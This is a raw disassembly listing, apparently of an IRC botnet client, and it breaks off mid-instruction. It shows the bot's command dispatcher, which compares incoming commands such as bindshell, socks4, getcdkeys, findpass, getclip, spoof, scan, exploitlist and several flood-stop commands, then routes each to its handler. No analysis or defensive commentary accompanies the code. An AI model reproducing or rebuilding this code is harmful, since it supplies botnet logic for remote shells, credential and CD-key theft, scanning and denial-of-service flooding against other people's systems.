[ebp+var_4AF0] push offset asc_42CA2C ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA2C ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C66C loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C644 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C628 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C60C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C5F8 push offset dword_42C5EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5CC push offset dword_42C5BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5A4 push offset dword_42C598 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C584 push offset dword_42C578 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C55C push offset dword_42C54C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C530 push offset dword_42C520 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C508 push offset dword_42C4FC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5A4 push offset dword_42C598 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C584 push offset dword_42C578 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4E4 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4CC push offset dword_42C4C0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C530 push offset dword_42C520 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C508 push offset dword_42C4FC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C490 push offset dword_42C480 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C55C push offset dword_42C54C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C44C push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C490 push offset dword_42C480 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4E4 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4CC push offset dword_42C4C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C404 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C390 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C370 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2AC jnz short loc_403191 mov eax, offset unk_42C284 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1C4 push offset dword_42C1B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1B4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C16C call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C138 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C090 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C020 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2690579h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 2690CE2h push eax push offset unk_42BFE4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315EA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431408 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2690579h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j call near ptr 2690CE2h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BEE8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE90 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call near ptr 2680000h nop loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2690579h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 2690CE2h push eax push offset unk_42BE20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test 